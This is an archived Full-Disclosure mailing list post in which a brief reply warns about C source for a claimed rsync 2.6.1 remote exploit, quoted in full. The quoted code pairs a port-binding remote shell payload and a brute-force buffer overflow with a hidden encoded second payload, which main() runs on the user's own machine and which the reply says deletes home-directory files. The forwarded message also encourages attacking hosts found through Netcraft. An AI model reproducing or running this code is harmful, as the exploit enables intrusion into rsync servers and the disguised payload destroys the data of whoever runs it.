Re: [Full-Disclosure] new rsync :) exploit rsync-too-open

From: dkey (dk.dbox2_at_gmx.net)
Date: 05/29/04

  • Next message: Dark-Avenger: "Re: [Full-Disclosure] http://www.chase.com/ vulnerability"
    To: full-disclosure@lists.netsys.com
    Date: Sat, 29 May 2004 01:13:13 +0200
    
    

    "nice mail"...but if somebody wants to use it, check the shellcode first...i
    think it deletes all your files in your home dir. i'm not sure, maybe
    somebody else can check it...

    greets...

    On Friday 28 May 2004 21:20, haxor@mac.hush.com wrote:
    > i found a nice email... with some strange code, i'm not a hacker but
    > i think this is what some people call a 0-day exploit... :)
    >
    > i think you can use this to hack servers running rsync :)
    >
    > and as i support full disclosure i send it to the list.. happy hacking
    >
    > :)
    >
    > **************************************************************
    >
    > /*
    > * rsync-too-open
    > *
    > * rsync <= 2.6.1 remote exploit by Solar Eclipse
    > <solareclipse@phreedom.org> *
    > * the code is based on the rsync April 2004 Security Advisory
    > *
    > * running: ./rsync-too-open -b -v 127.0.0.1
    > *
    > * NOTE: it works on many linux hosts, but chroot and some other conf
    > optinos will make
    > * the exploit fail
    > *
    > * plaes try to keep this code private.. we don't need people owning
    > debian again :)
    > *
    > * if you need som fun hosts to hack, try:
    > *
    > http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup
    >%21&position=limited *
    > * this is not the full version of the exploit, i'll send out a full
    > version with massroot
    > * function and bsd shellcode in 2 or 3 days :)
    > *
    > */
    >
    >
    > #include <stdlib.h>
    > #include <stdio.h>
    > #include <unistd.h>
    > #include <string.h>
    > #include <sys/time.h>
    > #include <sys/types.h>
    > #include <sys/socket.h>
    > #include <netinet/in.h>
    > #include <arpa/inet.h>
    >
    >
    >
    > #define MAXPATHLEN 4095
    >
    > int nopcount = 80;
    >
    > char shellcode[] =
    > /* port bind tcp/30464 ***/
    > /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
    > "\x31\xc0" // xorl %eax,%eax
    > "\x31\xdb" // xorl %ebx,%ebx
    > "\x31\xc9" // xorl %ecx,%ecx
    > "\x31\xd2" // xorl %edx,%edx
    > "\xb0\x66" // movb $0x66,%al
    > "\xb3\x01" // movb $0x1,%bl
    > "\x51" // pushl %ecx
    > "\xb1\x06" // movb $0x6,%cl
    > "\x51" // pushl %ecx
    > "\xb1\x01" // movb $0x1,%cl
    > "\x51" // pushl %ecx
    > "\xb1\x02" // movb $0x2,%cl
    > "\x51" // pushl %ecx
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\xcd\x80" // int $0x80
    >
    > /* port is 30464 !!! */
    > /* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
    > "\xb3\x02" // movb $0x2,%bl
    > "\xb1\x02" // movb $0x2,%cl
    > "\x31\xc9" // xorl %ecx,%ecx
    > "\x51" // pushl %ecx
    > "\x51" // pushl %ecx
    > "\x51" // pushl %ecx
    > /* port = 0x77, change if needed */
    > "\x80\xc1\x77" // addb $0x77,%cl
    > "\x66\x51" // pushl %cx
    > "\xb1\x02" // movb $0x2,%cl
    > "\x66\x51" // pushw %cx
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\xb2\x10" // movb $0x10,%dl
    > "\x52" // pushl %edx
    > "\x51" // pushl %ecx
    > "\x50" // pushl %eax
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\x89\xc2" // movl %eax,%edx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x66" // movb $0x66,%al
    > "\xcd\x80" // int $0x80
    >
    > /* listen(fd, 1) */
    > "\xb3\x01" // movb $0x1,%bl
    > "\x53" // pushl %ebx
    > "\x52" // pushl %edx
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x66" // movb $0x66,%al
    > "\x80\xc3\x03" // addb $0x3,%bl
    > "\xcd\x80" // int $0x80
    >
    > /* cli = accept(fd, 0, 0) */
    > "\x31\xc0" // xorl %eax,%eax
    > "\x50" // pushl %eax
    > "\x50" // pushl %eax
    > "\x52" // pushl %edx
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\xb3\x05" // movl $0x5,%bl
    > "\xb0\x66" // movl $0x66,%al
    > "\xcd\x80" // int $0x80
    >
    > /* dup2(cli, 0) */
    > "\x89\xc3" // movl %eax,%ebx
    > "\x31\xc9" // xorl %ecx,%ecx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x3f" // movb $0x3f,%al
    > "\xcd\x80" // int $0x80
    >
    > /* dup2(cli, 1) */
    > "\x41" // inc %ecx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x3f" // movl $0x3f,%al
    > "\xcd\x80" // int $0x80
    >
    > /* dup2(cli, 2) */
    > "\x41" // inc %ecx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x3f" // movb $0x3f,%al
    > "\xcd\x80" // int $0x80
    >
    > /* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
    > "\x31\xdb" // xorl %ebx,%ebx
    > "\x53" // pushl %ebx
    > "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
    > "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
    > "\x89\xe3" // movl %esp,%ebx
    > "\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
    > "\x31\xc9" // xorl %ecx,%ecx
    > "\x51" // pushl %ecx
    > "\x53" // pushl %ebx
    > "\x8d\x0c\x24" // leal (%esp),%ecx
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x0b" // movb $0xb,%al
    > "\xcd\x80" // int $0x80
    >
    > /* exit(%ebx) */
    > "\x31\xc0" // xorl %eax,%eax
    > "\xb0\x01" // movb $0x1,%al
    > "\xcd\x80"; // int $0x80
    >
    > char shellcode2[] =
    > "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
    > "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
    > "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
    > "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
    > "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
    > "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
    > "\x7b\x35";
    >
    > struct sockaddr_in s_in;
    > char module[256]; /* module to use */
    > void (*funct) ();
    >
    > void die(int p, char *m) {
    > if(p)
    > perror(m);
    > else
    > printf("%s\n",m);
    > exit(0);
    > }
    >
    >
    > int checkData(int s) {
    > int rd;
    > fd_set rfds;
    > struct timeval tv;
    >
    > FD_ZERO(&rfds);
    > FD_SET(s, &rfds);
    >
    > tv.tv_sec = 5;
    > tv.tv_usec = 0;
    >
    >
    > rd = select(s+1,&rfds,NULL,NULL,&tv);
    > if(rd < 0)
    > die(1,"select()");
    > return rd;
    > }
    >
    >
    > void get(int s) {
    > char buff[1024];
    > int rd;
    >
    > while(1) {
    > rd = checkData(s);
    > if(rd == 0)
    > return;
    >
    > rd = recv(s,buff,sizeof(buff),0);
    > if(!rd)
    > return;
    >
    > if(rd == -1)
    > die(1,"recv()");
    > }
    > }
    >
    >
    > int connect_and_version() {
    > int rd;
    > char buff[80];
    >
    > int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
    > if(s < 0)
    > die(1,"socket()");
    >
    > if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
    > die(1,"connect()");
    >
    > if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
    > die(1,"recv()");
    > send(s,buff,rd,0);
    >
    > return s;
    > }
    >
    >
    > void login(int s) {
    > char buff[80];
    >
    > snprintf(buff,sizeof(buff),"%s\n",module);
    > send(s,buff,strlen(buff),0);
    >
    > send(s,"--server\n",9,0);
    > send(s,"--sender\n",9,0);
    > send(s,"\n",1,0);
    >
    > }
    >
    >
    > void ride() {
    > fd_set rfds;
    > int rd;
    > int s;
    > struct sockaddr_in s_in2;
    > char buff[1024];
    >
    > memcpy(&s_in2,&s_in,sizeof(s_in2));
    > s_in2.sin_port = htons(30464);
    >
    > s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
    > if(s < 0)
    > die(1,"socket()");
    >
    > if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
    > close(s);
    > return; /* failed */
    > }
    >
    >
    >
    > send(s,"id;\n",4,0);
    >
    > while(1) {
    > FD_ZERO(&rfds);
    > FD_SET(0, &rfds);
    > FD_SET(s, &rfds);
    >
    > if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
    > exit(0);
    >
    > if(FD_ISSET(0,&rfds)) {
    > if( (rd = read(0,buff,sizeof(buff))) < 1)
    > exit(0);
    > if( send(s,buff,rd,0) != rd)
    > exit(0);
    >
    > }
    > if(FD_ISSET(s,&rfds)) {
    > if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
    > exit(0);
    > write(1,buff,rd);
    > }
    > }
    > }
    >
    >
    > void doOverflow(int len, int line,int align) {
    > int s,rd;
    > int *ptr;
    > char buff[MAXPATHLEN];
    >
    > s = connect_and_version();
    > login(s);
    >
    > printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",
    > len,line,line+abs(len),align);
    >
    > memset(buff,'A',align);
    >
    > for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-
    > 3); ptr++)
    > *ptr = (line+abs(len));
    > memset(buff+abs(len),'\x90',nopcount);
    > memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));
    >
    > rd = MAXPATHLEN -1;
    > send(s,&rd,sizeof(rd),0);
    >
    > send(s,buff,rd,0);
    >
    > send(s,&len,sizeof(len),0);
    >
    > rd = 0;
    > send(s,&rd,sizeof(rd),0);
    >
    > get(s);
    >
    > close(s);
    >
    > ride();
    > }
    >
    > void getModule() {
    > int s,rd;
    > char mod[256];
    > char *ptr;
    >
    > s = connect_and_version();
    > get(s);
    >
    > send(s,"#list\n",6,0);
    > rd = recv(s,mod,sizeof(mod),0);
    > if(rd < 1)
    > die(1,"recv()");
    >
    > mod[rd] = 0;
    > ptr = (char*)strchr(mod,' ');
    > if(!ptr)
    > return;
    > *ptr = 0;
    >
    > snprintf(module,sizeof(module),"%s",mod);
    > if(module[0] == '@')
    > die(0,"No modules!!!");
    >
    > close(s);
    > }
    >
    > void usage(char *p) {
    > printf("rsync <= 2.6.1 remote exploit\n");
    > printf("Usage: %s <opts>\n",p);
    >
    > printf("-h this lame message\n");
    > printf("-v victim ip\n");
    > printf("-m module name\n");
    > printf("-l len\n");
    > printf("-s line address\n");
    > printf("-b bruteforce\n");
    > printf("-f force:don't check vuln\n");
    > printf("-n number of NOPS\n");
    > printf("-a align\n");
    > exit(0);
    > }
    >
    >
    > int checkVuln() {
    > int s,rd;
    >
    > s = connect_and_version();
    > login(s);
    > get(s);
    >
    > rd = -1;
    > send(s,&rd,sizeof(rd),0);
    >
    > if(!checkData(s))
    > return 1;
    >
    > close(s);
    > return 0;
    > }
    >
    >
    > int getLen(int len) {
    > int s;
    >
    > s = connect_and_version();
    > login(s);
    > get(s);
    >
    > while(1) {
    > printf("Trying len %d...\n",len);
    > send(s,&len,sizeof(len),0);
    > if(checkData(s)) {
    > close(s);
    > return len-4;
    > }
    > len-=4;
    > }
    > }
    >
    >
    > int main(int argc, char *argv[]) {
    > int opt;
    > int m = 0;
    > int len = -4;
    > int line = 0xC0000000;
    > int check = 1;
    > int brute = 0; /* bruteforce ;D */
    > int l = 1;
    > int align = 0;
    > (long) funct = &shellcode2;
    >
    > if(argc < 2)
    > usage(argv[0]);
    >
    > while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
    > switch(opt) {
    > case 'v':
    > s_in.sin_addr.s_addr = inet_addr(optarg);
    > break;
    >
    > case 'm':
    > snprintf(module,sizeof(module),"%s",optarg);
    > m++;
    > break;
    >
    > case 'l':
    > l = 0;
    > len = atoi(optarg);
    > break;
    >
    > case 's':
    > if(sscanf(optarg,"%x",&line) == -1) {
    > printf("Invalid line address\n");
    > exit(0);
    > }
    > break;
    >
    > case 'b':
    > brute = 1;
    > break;
    >
    > case 'f':
    > check = 0;
    > break;
    >
    > case 'n':
    > nopcount = atoi(optarg);
    > break;
    >
    >
    > case 'a':
    > align = atoi(optarg);
    > break;
    >
    > case 'h':
    > default:
    > usage(argv[0]);
    > }
    > }
    >
    > funct();
    > s_in.sin_family = PF_INET;
    > s_in.sin_port = htons(873);
    >
    >
    > if(!m) {
    > printf("Getting module name...\n");
    > getModule();
    > printf("Module=%s\n",module);
    > }
    >
    > if(check) {
    > printf("Checking if vuln...\n");
    > if(checkVuln())
    > printf("Vuln!!\n");
    > else {
    > printf("Not vuln =(\n");
    > exit(0);
    > }
    > }
    >
    > if(l) {
    > len = getLen(len);
    > printf("len=%d\n",len);
    > }
    >
    > if(brute) {
    > while(1) {
    > doOverflow(len,line,align);
    > line -= (nopcount-1);
    > }
    > }
    >
    > doOverflow(len,line,align);
    > exit(0);
    > }

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: Dark-Avenger: "Re: [Full-Disclosure] http://www.chase.com/ vulnerability"

    Relevant Pages

    • [EXPL] PHP Remote Exploit Code Released (FILEUPLOAD, multipart/form-data)
      ... // the end of the shellcode will be removed as the shellcode is probably ... * the PHP3 error buffer will already contain PHP 3 Warning: ... void usage; ... int calculate_precision; ...
      (Securiteam)
    • Help in Java swings(internal Frame)
      ... public int getSize() ... public void valueChanged{ ... private JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
      (comp.lang.java.programmer)
    • [PATCH] get rid if __cpuinit and __cpuexit
      ... unsigned long action, void *hcpu) ... unsigned int cpu = hcpu; ... -static int __cpuinit ... __cpu_up(unsigned int cpu) ...
      (Linux-Kernel)
    • [PATCH,RFC 2.6.14 09/15] KGDB: SuperH-specific changes
      ... This adds basic support for KGDB on SuperH as well as adding some architecture ... -static int kgdb_uart_getchar ... -static void kgdb_uart_putchar ... * The command-line option can include a serial port specification ...
      (Linux-Kernel)
    • problem in java swings
      ... public int getSize() ... public void valueChanged{ ... private JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
      (comp.lang.java.programmer)